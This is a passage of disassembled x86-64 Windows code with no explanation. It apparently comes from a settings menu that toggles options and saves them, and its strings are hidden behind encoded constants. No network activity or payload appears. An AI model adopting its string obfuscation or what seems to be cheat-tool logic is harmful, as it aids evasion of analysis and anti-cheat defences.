mov dword [rbp + 0xd1c], 0x77715c2e
mov word [rbp + 0xd20], 0x77
mov byte [rbp + 0xd22], 1
lea rcx, [rbp + 0xd18]
call fcn.140073be0
mov rcx, rax
call fcn.140063e30
mov dword [rbp + 0xd28], 0x61606a5d
mov dword [rbp + 0xd2c], 0x7e7f632e
mov word [rbp + 0xd30], 0x66
mov byte [rbp + 0xd32], 1
lea rcx, [rbp + 0xd28]
call fcn.140073be0
mov rcx, rax
lea rdx, [0x1401a7a4f]
call fcn.14004ad70
test al, al
je 0x14006e60b
movzx eax, byte [0x1401a7a4f]
test al, al
je 0x14006e594
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xa78], 0x61606a5d
mov dword [rbp + 0xa7c], 0x657f6042
mov word [rbp + 0xa80], 0x100
lea rcx, [rbp + 0xa78]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x830], 0x62616e47
mov dword [rbp + 0x834], 0x100767c
lea rcx, [rbp + 0x830]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a4f]
test al, al
jne 0x14006e60b
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xa88], 0x61606a5d
mov dword [rbp + 0xa8c], 0x657f6042
mov word [rbp + 0xa90], 0x100
lea rcx, [rbp + 0xa88]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x838], 0x62616e47
mov dword [rbp + 0x83c], 0x100767c
lea rcx, [rbp + 0x838]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x3e0], 0x667f6258
mov word [rbp + 0x3e4], 0x100
lea rcx, [rbp + 0x3e0]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0xfc8], 0x61606a5d
mov dword [rbp + 0xfcc], 0x7e785c2e
mov dword [rbp + 0xfd0], 0x100677d
lea rcx, [rbp + 0xfc8]
call fcn.1400744e0
mov rcx, rax
lea rdx, [0x1401a7a50]
call fcn.14004ad70
test al, al
je 0x14006e79e
movzx eax, byte [0x1401a7a50]
test al, al
je 0x14006e720
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xd38], 0x61606a5d
mov dword [rbp + 0xd3c], 0x7e7f675d
mov word [rbp + 0xd40], 0x66
mov byte [rbp + 0xd42], 1
lea rcx, [rbp + 0xd38]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x840], 0x62616e47
mov dword [rbp + 0x844], 0x100767c
lea rcx, [rbp + 0x840]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a50]
test al, al
jne 0x14006e79e
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xd48], 0x61606a5d
mov dword [rbp + 0xd4c], 0x7e7f675d
mov word [rbp + 0xd50], 0x66
mov byte [rbp + 0xd52], 1
lea rcx, [rbp + 0xd48]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x848], 0x62616e47
mov dword [rbp + 0x84c], 0x100767c
lea rcx, [rbp + 0x848]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x3e8], 0x667f6258
mov word [rbp + 0x3ec], 0x100
lea rcx, [rbp + 0x3e8]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
mov dword [rbp + 0xa98], 0x5a2c6444
mov dword [rbp + 0xa9c], 0x63757b6f
mov word [rbp + 0xaa0], 0x100
lea rcx, [rbp + 0xa98]
call fcn.140073bb0
mov rcx, rax
lea rdx, [0x1401a7a52]
call fcn.14004ad70
test al, al
je 0x14006e90f
movzx eax, byte [0x1401a7a52]
test al, al
je 0x14006e89a
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x968], 0x6c5b6444
mov dword [rbp + 0x96c], 0x626a7a
mov byte [rbp + 0x970], 1
lea rcx, [rbp + 0x968]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x850], 0x62616e47
mov dword [rbp + 0x854], 0x100767c
lea rcx, [rbp + 0x850]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a52]
test al, al
jne 0x14006e90f
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x978], 0x6c5b6444
mov dword [rbp + 0x97c], 0x626a7a
mov byte [rbp + 0x980], 1
lea rcx, [rbp + 0x978]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x858], 0x62616e47
mov dword [rbp + 0x85c], 0x100767c
lea rcx, [rbp + 0x858]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0xd58], 0x64616e59
mov dword [rbp + 0xd5c], 0x77715c2e
mov word [rbp + 0xd60], 0x77
mov byte [rbp + 0xd62], 1
lea rcx, [rbp + 0xd58]
call fcn.140073be0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0x988], 0x592c6444
mov dword [rbp + 0x98c], 0x756a7c
mov byte [rbp + 0x990], 1
lea rcx, [rbp + 0x988]
call fcn.140073b80
mov rcx, rax
lea rdx, [0x1401a7a51]
call fcn.14004ad70
test al, al
je 0x14006ea8c
movzx eax, byte [0x1401a7a51]
test al, al
je 0x14006ea1e
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x860], 0x7f586444
mov dword [rbp + 0x864], 0x1006a6b
lea rcx, [rbp + 0x860]
call fcn.140073b50
mov rbx, rax
mov dword [rbp + 0x868], 0x62616e47
mov dword [rbp + 0x86c], 0x100767c
lea rcx, [rbp + 0x868]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a51]
test al, al
jne 0x14006ea8c
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x7a0], 0x7f586444
mov dword [rbp + 0x7a4], 0x1006a6b
lea rcx, [rbp + 0x7a0]
call fcn.140073b50
mov rbx, rax
mov dword [rbp + 0x7f0], 0x62616e47
mov dword [rbp + 0x7f4], 0x100767c
lea rcx, [rbp + 0x7f0]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0xd68], 0x64616e59
mov dword [rbp + 0xd6c], 0x77715c2e
mov word [rbp + 0xd70], 0x77
mov byte [rbp + 0xd72], 1
lea rcx, [rbp + 0xd68]
call fcn.140073be0
mov rcx, rax
call fcn.140063e30
movdqa xmm0, xmmword [str.Yccz.Gye2Wuxwp]
movdqu xmmword [rbp + 0x17e8], xmm0
mov byte [rbp + 0x17f8], 1
lea rcx, [rbp + 0x17e8]
call fcn.140073c10
mov rcx, rax
lea rdx, [0x1401a7a53]
call fcn.14004ad70
test al, al
je 0x14006ec36
movzx eax, byte [0x1401a7a53]
test al, al
je 0x14006ebae
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x1188], 0x7a636359
mov dword [rbp + 0x118c], 0x55646646
mov dword [rbp + 0x1190], 0x72757e73
mov word [rbp + 0x1194], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1196], 1
lea rcx, [rbp + 0x1188]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x7f8], 0x62616e47
mov dword [rbp + 0x7fc], 0x100767c
lea rcx, [rbp + 0x7f8]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a53]
test al, al
jne 0x14006ec36
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x1168], 0x7a636359
mov dword [rbp + 0x116c], 0x55646646
mov dword [rbp + 0x1170], 0x72757e73
mov word [rbp + 0x1174], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1176], 1
lea rcx, [rbp + 0x1168]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x800], 0x62616e47
mov dword [rbp + 0x804], 0x100767c
lea rcx, [rbp + 0x800]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0xd78], 0x64616e59
mov dword [rbp + 0xd7c], 0x77715c2e
mov word [rbp + 0xd80], 0x77
mov byte [rbp + 0xd82], 1
lea rcx, [rbp + 0xd78]
call fcn.140073be0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0x1118], 0x452c6444
mov dword [rbp + 0x111c], 0x42746e6b
mov dword [rbp + 0x1120], 0x617b7c7a
mov word [rbp + 0x1124], 0x100
lea rcx, [rbp + 0x1118]
call fcn.140074570
mov rcx, rax
lea rdx, [0x1401a7a54]
call fcn.14004ad70
test al, al
je 0x14006edbd
movzx eax, byte [0x1401a7a54]
test al, al
je 0x14006ed50
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x3f0], 0x5e446444
mov word [rbp + 0x3f4], 0x100
lea rcx, [rbp + 0x3f0]
call fcn.140073af0
mov rbx, rax
mov dword [rbp + 0x530], 0x62616e47
mov dword [rbp + 0x534], 0x100767c
lea rcx, [rbp + 0x530]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a54]
test al, al
jne 0x14006edbd
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x3f8], 0x5e446444
mov word [rbp + 0x3fc], 0x100
lea rcx, [rbp + 0x3f8]
call fcn.140073af0
mov rbx, rax
mov dword [rbp + 0x538], 0x62616e47
mov dword [rbp + 0x53c], 0x100767c
lea rcx, [rbp + 0x538]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x400], 0x686a6a59
mov word [rbp + 0x404], 0x100
lea rcx, [rbp + 0x400]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
mov dword [rbp + 0x1108], 0x646b6a47
mov dword [rbp + 0x110c], 0x64522f6d
mov dword [rbp + 0x1110], 0x61717f7e
mov word [rbp + 0x1114], 0x100
lea rcx, [rbp + 0x1108]
call fcn.140074570
mov rcx, rax
lea rdx, [0x1401a7a56]
call fcn.14004ad70
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x408], 0x667f6258
mov word [rbp + 0x40c], 0x100
lea rcx, [rbp + 0x408]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0x540], 0x4f61624b
mov dword [rbp + 0x544], 0x1005b41
lea rcx, [rbp + 0x540]
call fcn.140073b50
mov rcx, rax
lea rdx, [0x1401a7a57]
call fcn.14004ad70
test al, al
je 0x14006ef96
movzx eax, byte [0x1401a7a57]
test al, al
je 0x14006ef28
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x548], 0x4f61624b
mov dword [rbp + 0x54c], 0x1005b41
lea rcx, [rbp + 0x548]
call fcn.140073b50
mov rbx, rax
mov dword [rbp + 0x550], 0x62616e47
mov dword [rbp + 0x554], 0x100767c
lea rcx, [rbp + 0x550]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a57]
test al, al
jne 0x14006ef96
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x558], 0x4f61624b
mov dword [rbp + 0x55c], 0x1005b41
lea rcx, [rbp + 0x558]
call fcn.140073b50
mov rbx, rax
mov dword [rbp + 0x560], 0x62616e47
mov dword [rbp + 0x564], 0x100767c
lea rcx, [rbp + 0x560]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x410], 0x686a6a59
mov word [rbp + 0x414], 0x100
lea rcx, [rbp + 0x410]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
mov dword [rbp + 0xd88], 0x2d7e6a49
mov dword [rbp + 0xd8c], 0x74757f5d
mov word [rbp + 0xd90], 0x76
mov byte [rbp + 0xd92], 1
lea rcx, [rbp + 0xd88]
call fcn.140073be0
mov rcx, rax
lea rdx, [0x1401a7a58]
call fcn.14004ad70
test al, al
je 0x14006f116
movzx eax, byte [0x1401a7a58]
test al, al
je 0x14006f09f
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xaa8], 0x5e7e6a49
mov dword [rbp + 0xaac], 0x75756a7e
mov word [rbp + 0xab0], 0x100
lea rcx, [rbp + 0xaa8]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x568], 0x62616e47
mov dword [rbp + 0x56c], 0x100767c
lea rcx, [rbp + 0x568]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a58]
test al, al
jne 0x14006f116
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xab8], 0x5e7e6a49
mov dword [rbp + 0xabc], 0x75756a7e
mov word [rbp + 0xac0], 0x100
lea rcx, [rbp + 0xab8]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x570], 0x62616e47
mov dword [rbp + 0x574], 0x100767c
lea rcx, [rbp + 0x570]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x418], 0x667f6258
mov word [rbp + 0x41c], 0x100
lea rcx, [rbp + 0x418]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0x1098], 0x79654352
mov dword [rbp + 0x109c], 0x77764a2e
mov dword [rbp + 0x10a0], 0x607077
mov byte [rbp + 0x10a4], 1
lea rcx, [rbp + 0x1098]
call fcn.140074540
mov rcx, rax
lea rdx, [0x1401a7a59]
call fcn.14004ad70
test al, al
je 0x14006f2a4
movzx eax, byte [0x1401a7a59]
test al, al
je 0x14006f22c
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xfd8], 0x79654352
mov dword [rbp + 0xfdc], 0x7476694b
mov dword [rbp + 0xfe0], 0x1006771
lea rcx, [rbp + 0xfd8]
call fcn.1400744e0
mov rbx, rax
mov dword [rbp + 0x578], 0x62616e47
mov dword [rbp + 0x57c], 0x100767c
lea rcx, [rbp + 0x578]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a59]
test al, al
jne 0x14006f2a4
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xfe8], 0x79654352
mov dword [rbp + 0xfec], 0x7476694b
mov dword [rbp + 0xff0], 0x1006771
lea rcx, [rbp + 0xfe8]
call fcn.1400744e0
mov rbx, rax
mov dword [rbp + 0x580], 0x62616e47
mov dword [rbp + 0x584], 0x100767c
lea rcx, [rbp + 0x580]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x420], 0x686a6a59
mov word [rbp + 0x424], 0x100
lea rcx, [rbp + 0x420]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
cmp byte [0x1401a7a6c], 0
je 0x14006f873
mov dword [rbp + 0x998], 0x402c5842
mov dword [rbp + 0x99c], 0x756b61
mov byte [rbp + 0x9a0], 1
lea rcx, [rbp + 0x998]
call fcn.140073b80
mov rcx, rax
lea rdx, [0x1401a7a5a]
call fcn.14004ad70
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x428], 0x667f6258
mov word [rbp + 0x42c], 0x100
lea rcx, [rbp + 0x428]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0xd98], 0x6e7e644c
mov dword [rbp + 0xd9c], 0x41442f6b
mov word [rbp + 0xda0], 0x42
mov byte [rbp + 0xda2], 1
lea rcx, [rbp + 0xd98]
call fcn.140073be0
mov rcx, rax
lea rdx, [0x1401a7a5d]
call fcn.14004ad70
test al, al
je 0x14006f4a4
movzx eax, byte [0x1401a7a5d]
test al, al
je 0x14006f42d
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xac8], 0x6e7e644c
mov dword [rbp + 0xacc], 0x41405b6b
mov word [rbp + 0xad0], 0x100
lea rcx, [rbp + 0xac8]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x588], 0x62616e47
mov dword [rbp + 0x58c], 0x100767c
lea rcx, [rbp + 0x588]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a5d]
test al, al
jne 0x14006f4a4
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xad8], 0x6e7e644c
mov dword [rbp + 0xadc], 0x41405b6b
mov word [rbp + 0xae0], 0x100
lea rcx, [rbp + 0xad8]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x590], 0x62616e47
mov dword [rbp + 0x594], 0x100767c
lea rcx, [rbp + 0x590]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x430], 0x686a6a59
mov word [rbp + 0x434], 0x100
lea rcx, [rbp + 0x430]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
cmp byte [0x1401a7a5a], 0
je 0x14006f778
movss xmm0, dword [0x140115d44]
call fcn.140024720
movdqa xmm0, xmmword [0x1401163c0]
movdqu xmmword [rbp + 0x1500], xmm0
mov dword [rbp + 0x1510], 0x1004852
lea rcx, [rbp + 0x1500]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x10a8], 0x685f2829
mov dword [rbp + 0x10ac], 0x65736a62
mov dword [rbp + 0x10b0], 0x475b32
mov byte [rbp + 0x10b4], 1
lea rcx, [rbp + 0x10a8]
call fcn.140074540
mov r9d, 0xffffffff
mov r8, rbx
lea rdx, [0x1401a7120]
mov rcx, rax
call fcn.14004b7d0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
lea rcx, str.Select_HS
call fcn.140054480
mov eax, dword [0x1401a7120]
test eax, eax
jne 0x14006f68a
mov byte [0x1401a7a5b], 1
mov byte [0x1401a7a5c], al
lea rdi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rdi, qword [rbp + 0x1c00]
mov dword [rbp + 0xda8], 0x6e7e644c
mov dword [rbp + 0xdac], 0x7075476b
mov word [rbp + 0xdb0], 0x76
mov byte [rbp + 0xdb2], 1
lea rcx, [rbp + 0xda8]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x598], 0x62616e47
mov dword [rbp + 0x59c], 0x100767c
lea rcx, [rbp + 0x598]
call fcn.140073b50
mov r9, rdi
mov r8d, 1
mov rdx, rbx
mov rcx, rax
call fcn.140072690
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, byte [0x1401a7a5c]
mov dword [rbp + 0x5a0], 0x627e6e50
mov dword [rbp + 0x5a4], 0x1005c46
lea rcx, [rbp + 0x5a0]
call fcn.140073b50
mov rbx, rax
mov dword [rbp + 0x5a8], 0x62616e47
mov dword [rbp + 0x5ac], 0x100767c
lea rcx, [rbp + 0x5a8]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
mov eax, dword [0x1401a7120]
cmp eax, 1
jne 0x14006f873
mov byte [0x1401a7a5b], 0
mov byte [0x1401a7a5c], al
lea rdi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rdi, qword [rbp + 0x1c00]
mov dword [rbp + 0xdb8], 0x6e7e644c
mov dword [rbp + 0xdbc], 0x7075476b
mov word [rbp + 0xdc0], 0x76
mov byte [rbp + 0xdc2], al
lea rcx, [rbp + 0xdb8]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x5b0], 0x62616e47
mov dword [rbp + 0x5b4], 0x100767c
lea rcx, [rbp + 0x5b0]
call fcn.140073b50
mov r9, rdi
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.140072690
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, byte [0x1401a7a5c]
mov dword [rbp + 0x5b8], 0x627e6e50
mov dword [rbp + 0x5bc], 0x1005c46
lea rcx, [rbp + 0x5b8]
call fcn.140073b50
mov dword [rbp + 0x5c0], 0x62616e47
mov dword [rbp + 0x5c4], 0x100767c
lea rcx, [rbp + 0x5c0]
jmp 0x14006f85a
mov byte [0x1401a7a5b], 0
mov byte [0x1401a7a5c], 0
lea rdi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rdi, qword [rbp + 0x1c00]
mov dword [rbp + 0xe88], 0x6e7e644c
mov dword [rbp + 0xe8c], 0x7075476b
mov word [rbp + 0xe90], 0x76
mov byte [rbp + 0xe92], 1
lea rcx, [rbp + 0xe88]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x5c8], 0x62616e47
mov dword [rbp + 0x5cc], 0x100767c
lea rcx, [rbp + 0x5c8]
call fcn.140073b50
mov r9, rdi
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.140072690
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, byte [0x1401a7a5c]
mov dword [rbp + 0x5d0], 0x627e6e50
mov dword [rbp + 0x5d4], 0x1005c46
lea rcx, [rbp + 0x5d0]
call fcn.140073b50
mov dword [rbp + 0x5d8], 0x62616e47
mov dword [rbp + 0x5dc], 0x100767c
lea rcx, [rbp + 0x5d8]
mov rbx, rax
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
cmp byte [0x1401a7a56], 0
je 0x14006f910
movss xmm0, dword [0x140115d58]
call fcn.140024720
mov dword [rbp + 0x438], 0x6b3d252f
mov word [rbp + 0x43c], 0x100
lea rcx, [rbp + 0x438]
call fcn.140073af0
mov rbx, rax
mov dword [rbp + 0x528], 0x646b6a47
mov word [rbp + 0x52c], WSAGetLastError
mov byte [rbp + 0x52e], 1
lea rcx, [rbp + 0x528]
call fcn.140073b20
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rbx
movss xmm3, dword [0x1400ec0a4]
movaps xmm2, xmm13
lea rdx, [0x140170d88]
mov rcx, rax
call fcn.140050f70
test al, al
je 0x14006f910
movss xmm1, dword [0x140170d88]
mov ecx, 0x62fa9b8
call fcn.140072700
cmp byte [0x1401a7a6c], 0
je 0x1400717e2
movdqa xmm0, xmmword [0x140116dc0]
movdqu xmmword [rbp + 0x1518], xmm0
mov dword [rbp + 0x1528], 0x100687d
lea rcx, [rbp + 0x1518]
call fcn.140073ca0
mov rcx, rax
xor edx, edx
call fcn.14004b760
test al, al
je 0x14007026e
mov dword [rbp + 0xae8], 0x2d686447
mov dword [rbp + 0xaec], 0x65797a5d
mov word [rbp + 0xaf0], 0x100
lea rcx, [rbp + 0xae8]
call fcn.140073bb0
mov rcx, rax
lea rdx, [0x1401a7a66]
call fcn.14004ad70
test al, al
je 0x14006fa94
movzx eax, byte [0x1401a7a66]
test al, al
je 0x14006fa1f
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x9a8], 0x5e686447
mov dword [rbp + 0x9ac], 0x64667b
mov byte [rbp + 0x9b0], 1
lea rcx, [rbp + 0x9a8]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x5e0], 0x62616e47
mov dword [rbp + 0x5e4], 0x100767c
lea rcx, [rbp + 0x5e0]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a66]
test al, al
jne 0x14006fa94
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x9b8], 0x5e686447
mov dword [rbp + 0x9bc], 0x64667b
mov byte [rbp + 0x9c0], 1
lea rcx, [rbp + 0x9b8]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x5e8], 0x62616e47
mov dword [rbp + 0x5ec], 0x100767c
lea rcx, [rbp + 0x5e8]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x440], 0x686a6a59
mov word [rbp + 0x444], 0x100
lea rcx, [rbp + 0x440]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm10
call fcn.140027e20
mov dword [rbp + 0xaf8], 0x2d686447
mov dword [rbp + 0xafc], 0x7d7c6645
mov word [rbp + 0xb00], 0x100
lea rcx, [rbp + 0xaf8]
call fcn.140073bb0
mov rcx, rax
lea rdx, [0x1401a7a67]
call fcn.14004ad70
test al, al
je 0x14006fc11
movzx eax, byte [0x1401a7a67]
test al, al
je 0x14006fb9c
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x9c8], 0x46686447
mov dword [rbp + 0x9cc], 0x7c6367
mov byte [rbp + 0x9d0], 1
lea rcx, [rbp + 0x9c8]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x5f0], 0x62616e47
mov dword [rbp + 0x5f4], 0x100767c
lea rcx, [rbp + 0x5f0]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a67]
test al, al
jne 0x14006fc11
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x9d8], 0x46686447
mov dword [rbp + 0x9dc], 0x7c6367
mov byte [rbp + 0x9e0], 1
lea rcx, [rbp + 0x9d8]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x5f8], 0x62616e47
mov dword [rbp + 0x5fc], 0x100767c
